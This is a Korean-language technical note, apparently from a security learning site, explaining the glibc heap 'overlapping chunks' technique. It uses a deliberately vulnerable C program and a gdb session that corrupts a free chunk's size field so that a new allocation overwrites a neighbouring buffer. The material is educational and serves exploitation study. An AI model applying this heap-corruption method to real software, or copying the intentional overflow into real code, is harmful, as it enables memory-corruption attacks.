Excuse the ads! We need some help to keep our site up.

List

Conditions

해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 Free Chunk을 생성 할 수 있어야 합니다.
- 공격자에 의해 Free Chunk의 size영역에 값을 저장 할 수 있어야 합니다.

Exploit plan

다음과 같은 방법으로 공격할 수 있습니다.
- 3개의 Heap을 생성합니다.
- 2번째 Heap영역을 해제합니다.
- Free Chunk의 size 영역에 재할당 받을 크기 값을 저장합니다.
  - 재할당 받을 크기 값 : 해제된 Heap 크기(0x100 + 0x10) + 3번째 Heap 크기(0x80 + 0x10) + PREV_INUSE(1) = 0x1a1
- 할당받기 원하는 크기의 Heap영역을 할당받습니다.
  - 할당받기 원하는 크기 : 0x1a0 - 8 = 408
  - 2번째 Heap 영역의 시작주소를 할당 받습니다.
  - 이로 인해 3번째 영역에 값을 덮어쓸 수 있습니다.

Example

Files

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void main(){

	char *buf1 = malloc(0x100);
	char *buf2 = malloc(0x100);
	char *buf3 = malloc(0x80);

	memset(buf1, 'A', 0x100);
	memset(buf2, 'B', 0x100);
	memset(buf3, 'C', 0x80);

	free(buf2);

	int size;

	scanf("%272s",buf1);
	scanf("%d",&size);

	char *buf4 = malloc(size);

	scanf("%384s",buf4);
	printf("buf3 : %s\n",buf3);

	scanf("%128s",buf3);
	printf("buf4 : %s\n", buf4);
}

Exploit flow

TechNote > Overlapping chunks[Korean] > 1501653245713.jpg

Debugging

다음과 같이 Break point를 설정합니다.
- 0x4006f8 : free(buf2) 호출
- 0x400713 : scanf("%272s",buf1) 호출 후
- 0x400736 : malloc(size) 호출 후
- 0x400750 : scanf("%384s",buf4) 호출 후
- 0x40077c : scanf("%128s",buf3) 호출 후

gdb-peda$ b *0x00000000004006f8
Breakpoint 1 at 0x4006f8
gdb-peda$ b *0x0000000000400713
Breakpoint 2 at 0x400713
gdb-peda$ b *0x0000000000400736
Breakpoint 3 at 0x400736
gdb-peda$ b *0x0000000000400750
Breakpoint 4 at 0x400750
gdb-peda$ b *0x000000000040077c
Breakpoint 5 at 0x40077c
gdb-peda$ 
gdb-peda$ r
Starting program: /home/autolycos/Documents/def/overlapping_chunks

다음과 같이 Heap 영역이 할당되었습니다.
- 0x602010 : 'A' * 0x100 개 저장
- 0x602120 : 'B' * 0x100 개 저장
- 0x602230 : 'C' * 0x80 개 저장

Breakpoint 1, 0x00000000004006f8 in main ()
gdb-peda$ x/90gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000111
0x602010:	0x4141414141414141	0x4141414141414141
...
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x0000000000000000	0x0000000000000111
0x602120:	0x4242424242424242	0x4242424242424242
...
0x602210:	0x4242424242424242	0x4242424242424242
0x602220:	0x0000000000000000	0x0000000000000091
0x602230:	0x4343434343434343	0x4343434343434343
...
0x6022a0:	0x4343434343434343	0x4343434343434343
0x6022b0:	0x0000000000000000	0x0000000000020d51
0x6022c0:	0x0000000000000000	0x0000000000000000
gdb-peda$ ni
0x00000000004006fd in main ()
gdb-peda$ x/90gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000111
0x602010:	0x4141414141414141	0x4141414141414141
...
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x0000000000000000	0x0000000000000111
0x602120:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0x602130:	0x4242424242424242	0x4242424242424242
...
0x602210:	0x4242424242424242	0x4242424242424242
0x602220:	0x0000000000000110	0x0000000000000090
0x602230:	0x4343434343434343	0x4343434343434343
...
0x6022a0:	0x4343434343434343	0x4343434343434343
0x6022b0:	0x0000000000000000	0x0000000000020d51
0x6022c0:	0x0000000000000000	0x0000000000000000
gdb-peda$

다음과 같이 free chunk의 size의 값을 덮어쓸 수 있습니다.
- 'A' 256개 : buf1 영역
- 'B' 8개 : free chunk의 prev_size 영역
- 'C' 8개 : free chunk의 size 영역
free chunk의 size영역에 다음과 같이 값을 저장합니다.
- 0x110(buf2 size) + 0x90(buf3 size) + 0x1(PREV_INUSE) = 0x1A1

gdb-peda$ c
Continuing.

gdb-peda$ c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Breakpoint 2, 0x0000000000400713 in main ()
gdb-peda$ x/90gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000111
0x602010:	0x4141414141414141	0x4141414141414141
...
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4242424242424242	0x4343434343434343
0x602120:	0x00007ffff7dd3700	0x00007ffff7dd37b8
0x602130:	0x4242424242424242	0x4242424242424242
...
0x602210:	0x4242424242424242	0x4242424242424242
0x602220:	0x0000000000000110	0x0000000000000090
0x602230:	0x4343434343434343	0x4343434343434343
...
0x6022a0:	0x4343434343434343	0x4343434343434343
0x6022b0:	0x0000000000000000	0x0000000000020d51
0x6022c0:	0x0000000000000000	0x0000000000000000
gdb-peda$
gdb-peda$ set *0x602118 = 0x1A1
gdb-peda$ set *0x60211c = 0x0
gdb-peda$ x/gx 0x602118
0x602118:	0x00000000000001a1
gdb-peda$

다음과 같이 Heap 영역을 할당 받습니다.
- 할당받을 Heap 영역의 크기 : 0x1a0 - 8 = 0x198(408)
- 할당받은 Heap 영역의 주소 : 0x602120
- 즉, 새로 할당 받은 영역을 이용해 buf3 영역을 덮어쓸수 있습니다.

gdb-peda$ c
Continuing.
408

Breakpoint 3, 0x0000000000400736 in main ()
gdb-peda$ i r rax
rax            0x602120	0x602120
gdb-peda$ x/54gx 0x602120 - 0x10
0x602110:	0x4242424242424242	0x00000000000001a1
0x602120:	0x00007ffff7dd3700	0x00007ffff7dd37b8
0x602130:	0x4242424242424242	0x4242424242424242
...
0x602210:	0x4242424242424242	0x4242424242424242
0x602220:	0x0000000000000110	0x0000000000000090
0x602230:	0x4343434343434343	0x4343434343434343
...
0x6022a0:	0x4343434343434343	0x4343434343434343
0x6022b0:	0x0000000000000000	0x0000000000020d51
gdb-peda$

다음과 같이 buf4 영역을 이용해 buf3의 내용을 변경할 수 있습니다.
- buf4 영역에 'D' 408개를 저장

gdb-peda$ c
Continuing.
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Breakpoint 4, 0x0000000000400750 in main ()
gdb-peda$ x/90gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000111
0x602010:	0x4141414141414141	0x4141414141414141
...
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4242424242424242	0x00000000000001a1
0x602120:	0x4444444444444444	0x4444444444444444
0x602130:	0x4444444444444444	0x4444444444444444
0x602140:	0x4444444444444444	0x4444444444444444
0x602150:	0x4444444444444444	0x4444444444444444
0x602160:	0x4444444444444444	0x4444444444444444
0x602170:	0x4444444444444444	0x4444444444444444
0x602180:	0x4444444444444444	0x4444444444444444
0x602190:	0x4444444444444444	0x4444444444444444
0x6021a0:	0x4444444444444444	0x4444444444444444
0x6021b0:	0x4444444444444444	0x4444444444444444
0x6021c0:	0x4444444444444444	0x4444444444444444
0x6021d0:	0x4444444444444444	0x4444444444444444
0x6021e0:	0x4444444444444444	0x4444444444444444
0x6021f0:	0x4444444444444444	0x4444444444444444
0x602200:	0x4444444444444444	0x4444444444444444
0x602210:	0x4444444444444444	0x4444444444444444
0x602220:	0x4444444444444444	0x4444444444444444
0x602230:	0x4444444444444444	0x4444444444444444
0x602240:	0x4444444444444444	0x4444444444444444
0x602250:	0x4444444444444444	0x4444444444444444
0x602260:	0x4444444444444444	0x4444444444444444
0x602270:	0x4444444444444444	0x4444444444444444
0x602280:	0x4444444444444444	0x4444444444444444
0x602290:	0x4444444444444444	0x4444444444444444
0x6022a0:	0x4444444444444444	0x4444444444444444
0x6022b0:	0x4444444444444444	0x0000000000020d00
0x6022c0:	0x0000000000000000	0x0000000000000000

gdb-peda$ c
Continuing.
buf3 : DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

List

Conditions

Exploit plan

Example

Files

Source code

Exploit flow

Debugging

Related information